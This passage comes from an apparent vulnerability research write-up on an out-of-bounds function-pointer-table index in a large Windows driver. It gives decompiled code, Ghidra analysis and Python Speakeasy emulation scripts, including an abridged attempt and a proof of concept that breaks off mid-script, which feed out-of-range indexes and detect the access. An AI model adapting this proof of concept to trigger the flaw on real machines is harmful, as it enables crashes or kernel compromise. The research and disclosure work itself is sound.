      <span class="k">if</span> <span class="p">(</span><span class="n">iVar1</span> <span class="o">!=</span> <span class="mh">0xa0de</span><span class="p">)</span> <span class="p">{</span>
        <span class="n">uVar3</span> <span class="o">=</span> <span class="p">(</span><span class="o">*</span><span class="p">(</span><span class="n">code</span> <span class="o">*</span><span class="p">)(</span><span class="o">&amp;</span><span class="n">PTR_141287ce0</span><span class="p">)[</span><span class="o">*</span><span class="n">pbVar2</span><span class="p">])(</span><span class="n">param_1</span><span class="p">);</span>
        <span class="k">return</span> <span class="n">uVar3</span><span class="p">;</span>
      <span class="p">}</span>
      <span class="n">uVar3</span> <span class="o">=</span> <span class="n">FUN_1418fcb50</span><span class="p">(</span><span class="n">param_1</span><span class="p">,</span><span class="n">param_2</span><span class="p">);</span>
      <span class="k">return</span> <span class="n">uVar3</span><span class="p">;</span>
    <span class="p">}</span>
  <span class="p">}</span>
  <span class="k">return</span> <span class="mh">0xc0000002</span><span class="p">;</span>
<span class="p">}</span>
  
</pre></td></tr></tbody></table></code></pre></div></div>

<p>This is the vulnerability in plain sight. <strong>There is absolutely no check to ensure the value of <code class="language-plaintext highlighter-rouge">*pbVar2</code> is within a valid range.</strong> An attacker can provide any byte value from 0 to 255. This value is used as an index into a function pointer table located at <code class="language-plaintext highlighter-rouge">0x141287ce0</code>.</p>

<h4 id="analyzing-the-function-table">Analyzing the Function Table</h4>

<p>My next step was to see how large this function table actually was. I navigated to <code class="language-plaintext highlighter-rouge">0x141287ce0</code>.</p>

<p><strong>Hurdle:</strong> Ghidra had misinterpreted this data region as code, showing a mess of <code class="language-plaintext highlighter-rouge">ADD</code> instructions.
<strong>Solution:</strong></p>
<ol>
  <li>Go to the address <code class="language-plaintext highlighter-rouge">141287ce0</code>.</li>
  <li>Select the memory range and press <code class="language-plaintext highlighter-rouge">C</code> (or right-click -&gt; “Clear Code Bytes”).</li>
  <li>Right-click the start of the range and select Data -&gt; <code class="language-plaintext highlighter-rouge">pointer</code>. Ghidra correctly identified a series of 8-byte pointers.</li>
</ol>

<p>Here’s what the table looked like after correction:</p>

<table>
  <thead>
    <tr>
      <th style="text-align: left">Address</th>
      <th style="text-align: left">Points To</th>
      <th style="text-align: left">Index</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td style="text-align: left"><code class="language-plaintext highlighter-rouge">0x141287ce0</code></td>
      <td style="text-align: left"><code class="language-plaintext highlighter-rouge">FUN_...</code></td>
      <td style="text-align: left">0</td>
    </tr>
    <tr>
      <td style="text-align: left"><code class="language-plaintext highlighter-rouge">0x141287ce8</code></td>
      <td style="text-align: left"><code class="language-plaintext highlighter-rouge">FUN_...</code></td>
      <td style="text-align: left">1</td>
    </tr>
    <tr>
      <td style="text-align: left"><code class="language-plaintext highlighter-rouge">0x141287cf0</code></td>
      <td style="text-align: left"><code class="language-plaintext highlighter-rouge">FUN_...</code></td>
      <td style="text-align: left">2</td>
    </tr>
    <tr>
      <td style="text-align: left"><code class="language-plaintext highlighter-rouge">0x141287cf8</code></td>
      <td style="text-align: left"><code class="language-plaintext highlighter-rouge">FUN_...</code></td>
      <td style="text-align: left">3</td>
    </tr>
    <tr>
      <td style="text-align: left"><code class="language-plaintext highlighter-rouge">0x141287d00</code></td>
      <td style="text-align: left"><code class="language-plaintext highlighter-rouge">FUN_...</code></td>
      <td style="text-align: left">4</td>
    </tr>
    <tr>
      <td style="text-align: left"><code class="language-plaintext highlighter-rouge">0x141287d08</code></td>
      <td style="text-align: left"><code class="language-plaintext highlighter-rouge">DAT_...</code></td>
      <td style="text-align: left">5 (End of table)</td>
    </tr>
  </tbody>
</table>

<p><img src="/assets/img/posts/2025-10-01-cve-post/pasted-image-20251001181949.png" alt="Function table in Ghidra memory view" /></p>

<p>The table only has <strong>5 valid entries</strong> (indices 0-4). Any index of 5 or greater will cause the driver to read a “function pointer” from memory outside of this table and attempt to execute it. This is a classic out-of-bounds read leading to a controlled-call vulnerability.</p>

<h2 id="phase-3-the-proof---emulation-with-speakeasy">Phase 3: The Proof - Emulation with Speakeasy</h2>

<p>Static analysis is great, but proving the vulnerability requires dynamic execution. This is where Speakeasy comes in. But before I begin with this section i wanted to express my opinion and to make some warnings about using Speakeasy to emulate drivers. Emulating this large and complex drivers is ABSOLUTE HELL. In my case I had to use Speakeasy as a python library, because I had to establish memory hooks and much more, thus the CLI of Speakeasy was of no use, and loading this massive driver(111MB) takes an ENOURMOUS amount of time. Disabling the production of Memory Dumps and Strings Extractions did sped up the whole process, but oftentimes doing this, meant to use custom <code class="language-plaintext highlighter-rouge">config.json</code>(for Speakeasy) when running the exploit, which was pretty unstable. The emulations from start to finish took 1h to 2h. Yes, this makes future testings and validations of POCs and exploits for such cases with complex drivers almost impractical. I am still looking for ways to circumvent this issue, but to no avail, so I will be glad, someone reading this article to share experience and/or suggestions. Use the Contact Form(for now comments will stay disabled) on this page.</p>

<p>Final words about Speakeasy - honestly great tool for emulation and it would work perfectly with smaller pieces of files. The CLI version of it is also good. 
This was to be expected from Python tool.</p>

<p>To continue, I wrote two Python scripts to simulate the attack.</p>

<h4 id="attempt-1">Attempt #1:</h4>

<p>My first script was simple. It used Speakeasy’s default configuration, set up the necessary IRP and Device Object structures, placed a malicious index (255) in the input buffer, and called the vulnerable function, wrapping it in a <code class="language-plaintext highlighter-rouge">try...except</code> block to catch a crash.</p>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
4
5
6
7
8
9
10
11
12
13
14
</pre></td><td class="rouge-code"><pre><span class="c1"># minimal.py - Abridged
</span><span class="n">se</span> <span class="o">=</span> <span class="n">speakeasy</span><span class="p">.</span><span class="nc">Speakeasy</span><span class="p">()</span>
<span class="n">driver</span> <span class="o">=</span> <span class="n">se</span><span class="p">.</span><span class="nf">load_module</span><span class="p">(</span><span class="n">driver_path</span><span class="p">)</span>
<span class="n">se</span><span class="p">.</span><span class="nf">run_module</span><span class="p">(</span><span class="n">driver</span><span class="p">)</span> <span class="c1"># Initialize DriverEntry
</span>
<span class="c1"># ... (setup IRP, Device Object, and input buffer with index 255) ...
</span>
<span class="k">try</span><span class="p">:</span>
    <span class="nf">print</span><span class="p">(</span><span class="sh">"</span><span class="s">Calling vulnerable dispatch function</span><span class="sh">"</span><span class="p">)</span>
    <span class="n">result</span> <span class="o">=</span> <span class="n">se</span><span class="p">.</span><span class="nf">call</span><span class="p">(</span><span class="n">dispatch_function</span><span class="p">,</span> <span class="p">[</span><span class="n">device_addr</span><span class="p">,</span> <span class="n">irp_addr</span><span class="p">])</span>
    <span class="nf">print</span><span class="p">(</span><span class="sa">f</span><span class="sh">"</span><span class="s">Function returned without exception: </span><span class="si">{</span><span class="n">result</span><span class="si">}</span><span class="sh">"</span><span class="p">)</span>
<span class="k">except</span> <span class="nb">Exception</span> <span class="k">as</span> <span class="n">e</span><span class="p">:</span>
    <span class="n">exception_occurred</span> <span class="o">=</span> <span class="bp">True</span>
    <span class="nf">print</span><span class="p">(</span><span class="sa">f</span><span class="sh">"</span><span class="se">\n</span><span class="s">[!!!] EXCEPTION TRIGGERED!</span><span class="sh">"</span><span class="p">)</span>
</pre></td></tr></tbody></table></code></pre></div></div>

<p>I ran it, and… nothing.</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
4
</pre></td><td class="rouge-code"><pre>Calling vulnerable dispatch function...
Function returned without exception: None
...
No exception triggered - check report for details
</pre></td></tr></tbody></table></code></pre></div></div>

<p><strong>Why did it fail?</strong> This was a crucial learning moment. An out-of-bounds <strong>read</strong> doesn’t guarantee a crash. The calculated address (<code class="language-plaintext highlighter-rouge">0x141287ce0 + 255 * 8 = 0x1412884d8</code>) was still within the driver’s mapped memory. The CPU happily read 8 bytes of garbage data from that location and tried to call it. Since that garbage value was likely <code class="language-plaintext highlighter-rouge">0x0000000000000000</code> or another non-executable but readable address, the emulator simply returned <code class="language-plaintext highlighter-rouge">None</code> instead of raising a hardware exception. Although, I suppose on an actual natively installed driver this would have already caused the lovely BSOD.</p>

<h4 id="attempt-2-a-more-refined-approach">Attempt #2: A More Refined Approach</h4>

<p>I needed a more precise way to detect the vulnerability. Instead of waiting for a crash, I needed to watch the memory access itself. Speakeasy’s memory hooking is perfect for this.</p>

<p>The second script, inherits from the <code class="language-plaintext highlighter-rouge">Speakeasy</code> class and installs a custom memory read hook.</p>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
</pre></td><td class="rouge-code"><pre><span class="c1"># new.py - The memory hook
</span><span class="k">def</span> <span class="nf">hook_mem_read</span><span class="p">(</span><span class="n">self</span><span class="p">,</span> <span class="n">emu</span><span class="p">,</span> <span class="n">access</span><span class="p">,</span> <span class="n">address</span><span class="p">,</span> <span class="n">size</span><span class="p">,</span> <span class="n">value</span><span class="p">,</span> <span class="n">ctx</span><span class="o">=</span><span class="bp">None</span><span class="p">):</span>
    <span class="n">table_start</span> <span class="o">=</span> <span class="n">self</span><span class="p">.</span><span class="n">function_table_base</span>  <span class="c1"># 0x141287ce0
</span>    <span class="n">table_end</span> <span class="o">=</span> <span class="n">table_start</span> <span class="o">+</span> <span class="p">(</span><span class="n">self</span><span class="p">.</span><span class="n">valid_table_size</span> <span class="o">*</span> <span class="mi">8</span><span class="p">)</span> <span class="c1"># 0x141287d08
</span>    
    <span class="c1"># Check if the read is within the valid table
</span>    <span class="k">if</span> <span class="n">address</span> <span class="o">&gt;=</span> <span class="n">table_start</span> <span class="ow">and</span> <span class="n">address</span> <span class="o">&lt;</span> <span class="n">table_end</span><span class="p">:</span>
        <span class="n">index</span> <span class="o">=</span> <span class="p">(</span><span class="n">address</span> <span class="o">-</span> <span class="n">table_start</span><span class="p">)</span> <span class="o">//</span> <span class="mi">8</span>
        <span class="nf">print</span><span class="p">(</span><span class="sa">f</span><span class="sh">"</span><span class="s">Valid table access: index=</span><span class="si">{</span><span class="n">index</span><span class="si">}</span><span class="s">, addr=</span><span class="si">{</span><span class="nf">hex</span><span class="p">(</span><span class="n">address</span><span class="p">)</span><span class="si">}</span><span class="sh">"</span><span class="p">)</span>
    <span class="c1"># Check if the read is just outside the table, where we expect it
</span>    <span class="k">elif</span> <span class="n">address</span> <span class="o">&gt;=</span> <span class="n">table_end</span> <span class="ow">and</span> <span class="n">address</span> <span class="o">&lt;</span> <span class="p">(</span><span class="n">table_start</span> <span class="o">+</span> <span class="p">(</span><span class="mi">256</span> <span class="o">*</span> <span class="mi">8</span><span class="p">)):</span>
        <span class="n">index</span> <span class="o">=</span> <span class="p">(</span><span class="n">address</span> <span class="o">-</span> <span class="n">table_start</span><span class="p">)</span> <span class="o">//</span> <span class="mi">8</span>
        <span class="nf">print</span><span class="p">(</span><span class="sa">f</span><span class="sh">"</span><span class="se">\n</span><span class="s"> ═══════════════════════════════════════</span><span class="sh">"</span><span class="p">)</span>
        <span class="nf">print</span><span class="p">(</span><span class="sa">f</span><span class="sh">"</span><span class="s">OUT-OF-BOUNDS TABLE ACCESS DETECTED!</span><span class="sh">"</span><span class="p">)</span>
        <span class="nf">print</span><span class="p">(</span><span class="sa">f</span><span class="sh">"</span><span class="s">    Index: </span><span class="si">{</span><span class="n">index</span><span class="si">}</span><span class="s"> (valid range: 0-4)</span><span class="sh">"</span><span class="p">)</span>
        <span class="nf">print</span><span class="p">(</span><span class="sa">f</span><span class="sh">"</span><span class="s">    Address: </span><span class="si">{</span><span class="nf">hex</span><span class="p">(</span><span class="n">address</span><span class="p">)</span><span class="si">}</span><span class="sh">"</span><span class="p">)</span>
        <span class="nf">print</span><span class="p">(</span><span class="sa">f</span><span class="sh">"</span><span class="s">    Beyond table by: </span><span class="si">{</span><span class="n">address</span> <span class="o">-</span> <span class="n">table_end</span><span class="si">}</span><span class="s"> bytes</span><span class="sh">"</span><span class="p">)</span>
        <span class="nf">print</span><span class="p">(</span><span class="sa">f</span><span class="sh">"</span><span class="s">═════════════════════════════════════════</span><span class="se">\n</span><span class="sh">"</span><span class="p">)</span>
        <span class="n">self</span><span class="p">.</span><span class="n">vuln_triggered</span> <span class="o">=</span> <span class="bp">True</span>
</pre></td></tr></tbody></table></code></pre></div></div>

<p>This time, the script didn’t wait for an exception. It actively monitored every read operation. When the vulnerable function tried to read from an address outside the <code class="language-plaintext highlighter-rouge">0x141287ce0</code> - <code class="language-plaintext highlighter-rouge">0x141287d07</code> range, my hook would fire.</p>

<p>The result was a resounding success.</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
</pre></td><td class="rouge-code"><pre>======================================================================
[TEST] FIRST OOB INDEX: index=5
======================================================================
OUT-OF-BOUNDS index - will access: 0x141287d08
Beyond table by: 0 bytes

Calling dispatch function at 0x1419887a0
...
═══════════════════════════════════════════════
OUT-OF-BOUNDS TABLE ACCESS DETECTED!
═══════════════════════════════════════════════
    Index: 5 (valid range: 0-4)
    Address: 0x141287d08
    Beyond table by: 0 bytes
═══════════════════════════════════════════════

...

======================================================================
FINAL TEST SUMMARY
======================================================================
Vulnerability triggered: True
Out-of-bounds accesses detected: 3
</pre></td></tr></tbody></table></code></pre></div></div>

<p>The hook successfully detected every out-of-bounds read attempt, <strong>confirming the vulnerability</strong> with precision.</p>

<p>The complete POC:</p>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
</pre></td><td class="rouge-code"><pre><span class="kn">import</span> <span class="n">speakeasy</span>
<span class="kn">import</span> <span class="n">struct</span>
<span class="kn">import</span> <span class="n">sys</span>

<span class="k">class</span> <span class="nc">NvidiaVulnTester</span><span class="p">(</span><span class="n">speakeasy</span><span class="p">.</span><span class="n">Speakeasy</span><span class="p">):</span>
    <span class="k">def</span> <span class="nf">__init__</span><span class="p">(</span><span class="n">self</span><span class="p">):</span>
        <span class="nf">super</span><span class="p">().</span><span class="nf">__init__</span><span class="p">()</span>
        
        <span class="k">if</span> <span class="nf">hasattr</span><span class="p">(</span><span class="n">self</span><span class="p">,</span> <span class="sh">'</span><span class="s">emu</span><span class="sh">'</span><span class="p">)</span> <span class="ow">and</span> <span class="nf">hasattr</span><span class="p">(</span><span class="n">self</span><span class="p">.</span><span class="n">emu</span><span class="p">,</span> <span class="sh">'</span><span class="s">profiler</span><span class="sh">'</span><span class="p">):</span>
            <span class="n">self</span><span class="p">.</span><span class="n">emu</span><span class="p">.</span><span class="n">profiler</span><span class="p">.</span><span class="n">strings</span> <span class="o">=</span> <span class="p">{</span><span class="sh">'</span><span class="s">ansi</span><span class="sh">'</span><span class="p">:</span> <span class="nf">set</span><span class="p">(),</span> <span class="sh">'</span><span class="s">unicode</span><span class="sh">'</span><span class="p">:</span> <span class="nf">set</span><span class="p">()}</span>
            <span class="n">original_add_string</span> <span class="o">=</span> <span class="n">self</span><span class="p">.</span><span class="n">emu</span><span class="p">.</span><span class="n">profiler</span><span class="p">.</span><span class="n">add_string</span>
            <span class="k">def</span> <span class="nf">noop_add_string</span><span class="p">(</span><span class="n">s</span><span class="p">,</span> <span class="n">stype</span><span class="o">=</span><span class="sh">'</span><span class="s">ansi</span><span class="sh">'</span><span class="p">):</span>
                <span class="k">return</span>
            <span class="n">self</span><span class="p">.</span><span class="n">emu</span><span class="p">.</span><span class="n">profiler</span><span class="p">.</span><span class="n">add_string</span> <span class="o">=</span> <span class="n">noop_add_string</span>
            <span class="nf">print</span><span class="p">(</span><span class="sh">"</span><span class="s">String profiler disabled</span><span class="sh">"</span><span class="p">)</span>
        <span class="k">else</span><span class="p">:</span>
            <span class="nf">print</span><span class="p">(</span><span class="sh">"</span><span class="s">Profiler not accessible, proceeding anyway</span><span class="sh">"</span><span class="p">)</span>
        
        <span class="n">self</span><span class="p">.</span><span class="n">vuln_triggered</span> <span class="o">=</span> <span class="bp">False</span>
        <span class="n">self</span><span class="p">.</span><span class="n">oob_accesses</span> <span class="o">=</span> <span class="p">[]</span>
        <span class="n">self</span><span class="p">.</span><span class="n">function_table_base</span> <span class="o">=</span> <span class="mh">0x141287ce0</span>
        <span class="n">self</span><span class="p">.</span><span class="n">valid_table_size</span> <span class="o">=</span> <span class="mi">5</span>
        <span class="n">self</span><span class="p">.</span><span class="n">dispatch_function</span> <span class="o">=</span> <span class="mh">0x1419887a0</span>
        
    <span class="k">def</span> <span class="nf">setup_hooks</span><span class="p">(</span><span class="n">self</span><span class="p">):</span>
        <span class="nf">print</span><span class="p">(</span><span class="sh">"</span><span class="s">Setting up memory read hook...</span><span class="sh">"</span><span class="p">)</span>
        <span class="n">self</span><span class="p">.</span><span class="n">emu</span><span class="p">.</span><span class="nf">add_mem_read_hook</span><span class="p">(</span><span class="n">self</span><span class="p">.</span><span class="n">hook_mem_read</span><span class="p">)</span>
        <span class="nf">print</span><span class="p">(</span><span class="sh">"</span><span class="s">Memory hooks installed</span><span class="sh">"</span><span class="p">)</span>
            
    <span class="k">def</span> <span class="nf">hook_mem_read</span><span class="p">(</span><span class="n">self</span><span class="p">,</span> <span class="n">emu</span><span class="p">,</span> <span class="n">access</span><span class="p">,</span> <span class="n">address</span><span class="p">,</span> <span class="n">size</span><span class="p">,</span> <span class="n">value</span><span class="p">,</span> <span class="n">ctx</span><span class="o">=</span><span class="bp">None</span><span class="p">):</span>
        <span class="n">table_start</span> <span class="o">=</span> <span class="n">self</span><span class="p">.</span><span class="n">function_table_base</span>
        <span class="n">table_end</span> <span class="o">=</span> <span class="n">table_start</span> <span class="o">+</span> <span class="p">(</span><span class="n">self</span><span class="p">.</span><span class="n">valid_table_size</span> <span class="o">*</span> <span class="mi">8</span><span class="p">)</span>
        
        <span class="k">if</span> <span class="n">address</span> <span class="o">&gt;=</span> <span class="n">table_start</span> <span class="ow">and</span> <span class="n">address</span> <span class="o">&lt;</span> <span class="n">table_end</span><span class="p">:</span>
            <span class="n">index</span> <span class="o">=</span> <span class="p">(</span><span class="n">address</span> <span class="o">-</span> <span class="n">table_start</span><span class="p">)</span> <span class="o">//</span> <span class="mi">8</span>
            <span class="nf">print</span><span class="p">(</span><span class="sa">f</span><span class="sh">"</span><span class="s">Valid table access: index=</span><span class="si">{</span><span class="n">index</span><span class="si">}</span><span class="s">, addr=</span><span class="si">{</span><span class="nf">hex</span><span class="p">(</span><span class="n">address</span><span class="p">)</span><span class="si">}</span><span class="sh">"</span><span class="p">)</span>
        <span class="k">elif</span> <span class="n">address</span> <span class="o">&gt;=</span> <span class="n">table_end</span> <span class="ow">and</span> <span class="n">address</span> <span class="o">&lt;</span> <span class="p">(</span><span class="n">table_start</span> <span class="o">+</span> <span class="p">(</span><span class="mi">256</span> <span class="o">*</span> <span class="mi">8</span><span class="p">)):</span>
            <span class="n">index</span> <span class="o">=</span> <span class="p">(</span><span class="n">address</span> <span class="o">-</span> <span class="n">table_start</span><span class="p">)</span> <span class="o">//</span> <span class="mi">8</span>
            <span class="nf">print</span><span class="p">(</span><span class="sa">f</span><span class="sh">"</span><span class="se">\n</span><span class="s">═══════════════════════════════════════════════</span><span class="sh">"</span><span class="p">)</span>
            <span class="nf">print</span><span class="p">(</span><span class="sa">f</span><span class="sh">"</span><span class="s">OUT-OF-BOUNDS TABLE ACCESS DETECTED!</span><span class="sh">"</span><span class="p">)</span>
            <span class="nf">print</span><span class="p">(</span><span class="sa">f</span><span class="sh">"</span><span class="s">═══════════════════════════════════════════════</span><span class="sh">"</span><span class="p">)</span>
            <span class="nf">print</span><span class="p">(</span><span class="sa">f</span><span class="sh">"</span><span class="s">    Index: </span><span class="si">{</span><span class="n">index</span><span class="si">}</span><span class="s"> (valid range: 0-</span><span class="si">{</span><span class="n">self</span><span class="p">.</span><span class="n">valid_table_size</span><span class="o">-</span><span class="mi">1</span><span class="si">}</span><span class="s">)</span><span class="sh">"</span><span class="p">)</span>
            <span class="nf">print</span><span class="p">(</span><span class="sa">f</span><span class="sh">"</span><span class="s">    Address: </span><span class="si">{</span><span class="nf">hex</span><span class="p">(</span><span class="n">address</span><span class="p">)</span><span class="si">}</span><span class="sh">"</span><span class="p">)</span>
            <span class="nf">print</span><span class="p">(</span><span class="sa">f</span><span class="sh">"</span><span class="s">    Beyond table by: </span><span class="si">{</span><span class="n">address</span> <span class="o">-</span> <span class="n">table_end</span><span class="si">}</span><span class="s"> bytes</span><span class="sh">"</span><span class="p">)</span>
            <span class="nf">print</span><span class="p">(</span><span class="sa">f</span><span class="sh">"</span><span class="s">═══════════════════════════════════════════════</span><span class="se">\n</span><span class="sh">"</span><span class="p">)</span>
            <span class="n">self</span><span class="p">.</span><span class="n">vuln_triggered</span> <span class="o">=</span> <span class="bp">True</span>
            <span class="n">self</span><span class="p">.</span><span class="n">oob_accesses</span><span class="p">.</span><span class="nf">append</span><span class="p">({</span>
                <span class="sh">'</span><span class="s">index</span><span class="sh">'</span><span class="p">:</span> <span class="n">index</span><span class="p">,</span>
                <span class="sh">'</span><span class="s">address</span><span class="sh">'</span><span class="p">:</span> <span class="n">address</span><span class="p">,</span>
                <span class="sh">'</span><span class="s">offset</span><span class="sh">'</span><span class="p">:</span> <span class="n">address</span> <span class="o">-</span> <span class="n">table_end</span>
            <span class="p">})</span>
            
    <span class="k">def</span> <span class="nf">create_ioctl_irp</span><span class="p">(</span><span class="n">self</span><span class="p">,</span> <span class="n">device_type</span><span class="p">,</span> <span class="n">input_buffer</span><span class="p">,</span> <span class="n">input_size</span><span class="p">):</span>
        <span class="n">irp_addr</span> <span class="o">=</span> <span class="n">self</span><span class="p">.</span><span class="nf">mem_alloc</span><span class="p">(</span><span class="mh">0x2000</span><span class="p">,</span> <span class="n">tag</span><span class="o">=</span><span class="sh">'</span><span class="s">test.irp</span><span class="sh">'</span><span class="p">)</span>
        <span class="n">buffer_addr</span> <span class="o">=</span> <span class="n">self</span><span class="p">.</span><span class="nf">mem_alloc</span><span class="p">(</span><span class="n">input_size</span><span class="p">,</span> <span class="n">tag</span><span class="o">=</span><span class="sh">'</span><span class="s">test.input</span><span class="sh">'</span><span class="p">)</span>
        <span class="n">self</span><span class="p">.</span><span class="nf">mem_write</span><span class="p">(</span><span class="n">buffer_addr</span><span class="p">,</span> <span class="n">input_buffer</span><span class="p">)</span>
        
        <span class="n">self</span><span class="p">.</span><span class="nf">mem_write</span><span class="p">(</span><span class="n">irp_addr</span> <span class="o">+</span> <span class="mh">0x30</span><span class="p">,</span> <span class="n">struct</span><span class="p">.</span><span class="nf">pack</span><span class="p">(</span><span class="sh">'</span><span class="s">&lt;I</span><span class="sh">'</span><span class="p">,</span> <span class="mi">0</span><span class="p">))</span>
        <span class="n">self</span><span class="p">.</span><span class="nf">mem_write</span><span class="p">(</span><span class="n">irp_addr</span> <span class="o">+</span> <span class="mh">0xb8</span><span class="p">,</span> <span class="n">struct</span><span class="p">.</span><span class="nf">pack</span><span class="p">(</span><span class="sh">'</span><span class="s">&lt;Q</span><span class="sh">'</span><span class="p">,</span> <span class="n">buffer_addr</span><span class="p">))</span>
        
        <span class="nf">print</span><span class="p">(</span><span class="sa">f</span><span class="sh">"</span><span class="s">Created IRP at </span><span class="si">{</span><span class="nf">hex</span><span class="p">(</span><span class="n">irp_addr</span><span class="p">)</span><span class="si">}</span><span class="sh">"</span><span class="p">)</span>
        <span class="nf">print</span><span class="p">(</span><span class="sa">f</span><span class="sh">"</span><span class="s">Input buffer at </span><span class="si">{</span><span class="nf">hex</span><span class="p">(</span><span class="n">buffer_addr</span><span class="p">)</span><span class="si">}</span><span class="s"> (size: </span><span class="si">{</span><span class="n">input_size</span><span class="si">}</span><span class="s"> bytes)</span><span class="sh">"</span><span class="p">)</span>
        
        <span class="k">return</span> <span class="n">irp_addr</span><span class="p">,</span> <span class="n">buffer_addr</span>
        
    <span class="k">def</span> <span class="nf">create_device_object</span><span class="p">(</span><span class="n">self</span><span class="p">,</span> <span class="n">device_type</span><span class="p">):</span>
        <span class="n">dev_obj_addr</span> <span class="o">=</span> <span class="n">self</span><span class="p">.</span><span class="nf">mem_alloc</span><span class="p">(</span><span class="mh">0x1000</span><span class="p">,</span> <span class="n">tag</span><span class="o">=</span><span class="sh">'</span><span class="s">test.device</span><span class="sh">'</span><span class="p">)</span>
        <span class="n">self</span><span class="p">.</span><span class="nf">mem_write</span><span class="p">(</span><span class="n">dev_obj_addr</span> <span class="o">+</span> <span class="mh">0x48</span><span class="p">,</span> <span class="n">struct</span><span class="p">.</span><span class="nf">pack</span><span class="p">(</span><span class="sh">'</span><span class="s">&lt;I</span><span class="sh">'</span><span class="p">,</span> <span class="n">device_type</span><span class="p">))</span>
        
        <span class="nf">print</span><span class="p">(</span><span class="sa">f</span><span class="sh">"</span><span class="s">Created DEVICE_OBJECT at </span><span class="si">{</span><span class="nf">hex</span><span class="p">(</span><span class="n">dev_obj_addr</span><span class="p">)</span><span class="si">}</span><span class="sh">"</span><span class="p">)</span>
        <span class="nf">print</span><span class="p">(</span><span class="sa">f</span><span class="sh">"</span><span class="s">Device type: </span><span class="si">{</span><span class="nf">hex</span><span class="p">(</span><span class="n">device_type</span><span class="p">)</span><span class="si">}</span><span class="sh">"</span><span class="p">)</span>
        
        <span class="k">return</span> <span class="n">dev_obj_addr</span>
        
    <span class="k">def</span> <span class="nf">call_dispatch_function</span><span class="p">(</span><span class="n">self</span><span class="p">,</span> <span class="n">dev_obj</span><span class="p">,</span> <span class="n">irp</span><span class="p">,</span> <span class="n">index</span><span class="p">):</span>
        <span class="nf">print</span><span class="p">(</span><span class="sa">f</span><span class="sh">"</span><span class="se">\n</span><span class="s">Calling dispatch function at </span><span class="si">{</span><span class="nf">hex</span><span class="p">(</span><span class="n">self</span><span class="p">.</span><span class="n">dispatch_function</span><span class="p">)</span><span class="si">}</span><span class="sh">"</span><span class="p">)</span>
        <span class="nf">print</span><span class="p">(</span><span class="sa">f</span><span class="sh">"</span><span class="s">Parameters: DeviceObject=</span><span class="si">{</span><span class="nf">hex</span><span class="p">(</span><span class="n">dev_obj</span><span class="p">)</span><span class="si">}</span><span class="s">, IRP=</span><span class="si">{</span><span class="nf">hex</span><span class="p">(</span><span class="n">irp</span><span class="p">)</span><span class="si">}</span><span class="sh">"</span><span class="p">)</span>
        <span class="nf">print</span><span class="p">(</span><span class="sa">f</span><span class="sh">"</span><span class="s">Index in buffer: </span><span class="si">{</span><span class="n">index</span><span class="si">}</span><span class="sh">"</span><span class="p">)</span>
        
        <span class="k">try</span><span class="p">:</span>
            <span class="n">result</span> <span class="o">=</span> <span class="n">self</span><span class="p">.</span><span class="nf">call</span><span class="p">(</span><span class="n">self</span><span class="p">.</span><span class="n">dispatch_function</span><span class="p">,</span> <span class="p">[</span><span class="n">dev_obj</span><span class="p">,</span> <span class="n">irp</span><span class="p">])</span>
            <span class="nf">print</span><span class="p">(</span><span class="sa">f</span><span class="sh">"</span><span class="s">Dispatch function returned: </span><span class="si">{</span><span class="nf">hex</span><span class="p">(</span><span class="n">result</span><span class="p">)</span> <span class="k">if</span> <span class="nf">isinstance</span><span class="p">(</span><span class="n">result</span><span class="p">,</span> <span class="nb">int</span><span class="p">)</span> <span class="k">else</span> <span class="n">result</span><span class="si">}</span><span class="sh">"</span><span class="p">)</span>
            <span class="k">return</span> <span class="n">result</span>
        <span class="k">except</span> <span class="nb">Exception</span> <span class="k">as</span> <span class="n">e</span><span class="p">:</span>
            <span class="nf">print</span><span class="p">(</span><span class="sa">f</span><span class="sh">"</span><span class="s">Exception during dispatch: </span><span class="si">{</span><span class="n">e</span><span class="si">}</span><span class="sh">"</span><span class="p">)</span>
            <span class="kn">import</span> <span class="n">traceback</span>
            <span class="n">traceback</span><span class="p">.</span><span class="nf">print_exc</span><span class="p">()</span>
            <span class="k">return</span> <span class="bp">None</span>
        
    <span class="k">def</span> <span class="nf">test_index</span><span class="p">(</span><span class="n">self</span><span class="p">,</span> <span class="n">index</span><span class="p">,</span> <span class="n">description</span><span class="p">):</span>
        <span class="nf">print</span><span class="p">(</span><span class="sa">f</span><span class="sh">"</span><span class="se">\n</span><span class="si">{</span><span class="sh">'</span><span class="s">=</span><span class="sh">'</span><span class="o">*</span><span class="mi">70</span><span class="si">}</span><span class="sh">"</span><span class="p">)</span>
        <span class="nf">print</span><span class="p">(</span><span class="sa">f</span><span class="sh">"</span><span class="s">[TEST] </span><span class="si">{</span><span class="n">description</span><span class="si">}</span><span class="s">: index=</span><span class="si">{</span><span class="n">index</span><span class="si">}</span><span class="sh">"</span><span class="p">)</span>
